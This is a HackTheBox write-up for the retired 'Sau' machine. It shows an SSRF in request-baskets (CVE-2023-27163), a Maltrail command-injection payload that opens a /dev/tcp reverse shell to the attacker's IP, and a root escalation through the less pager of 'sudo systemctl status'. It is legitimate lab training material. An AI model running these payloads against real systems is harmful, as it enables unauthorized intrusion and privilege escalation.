← all writeups

Sau

HackTheBox Linux Easy
#htb#linux#ssrf#request-baskets#maltrail#command-injection#sudo#systemctl

Retired machine. Flags redacted - solve it yourself.

Summary

request-baskets on port 55555 is vulnerable to SSRF (CVE-2023-27163), which exposes an internal Maltrail service. Maltrail’s unauthenticated command injection lands a reverse shell, and sudo systemctl status (which pages through less) escalates to root.

Enumeration

nmap -sC -sV 10.129.40.171 -v
22/tcp    open     ssh              OpenSSH 7.9p1 Debian 10
80/tcp    filtered http
55555/tcp open     request-baskets  1.2.1

request-baskets 1.2.1 → SSRF (CVE-2023-27163).

Foothold

SSRF via the forward_url parameter to reach internal services:

curl -X POST http://10.129.40.171:55555/api/baskets/ssrf -H "Content-Type: application/json" -d '{
  "forward_url": "http://127.0.0.1:80",
  "proxy_response": true,
  "insecure_tls": false,
  "expand_path": true,
  "capacity": 250
}'

Behind port 80 runs Maltrail (<= v0.54), which has unauthenticated OS command injection in the login username. Send a base64-encoded reverse shell:

curl http://10.129.40.171:55555/<basket> -d 'username=;`echo <base64-reverse-shell> | base64 -d | bash`'
# decoded: bash -i >& /dev/tcp/10.10.14.42/9001 0>&1

Listener:

nc -lvnp 9001
python3 -c 'import pty; pty.spawn("/bin/bash")'   # upgrade TTY

User flag in /home/puma/user.txt.

Privilege Escalation

sudo -l      # puma may run: systemctl status trail.service  (no password)

systemctl status pipes through less. Running it as root with a non-interactive terminal lets you drop into less and spawn a shell:

sudo systemctl status trail.service
# in the pager:
!sh
cat /root/root.txt

Lessons Learned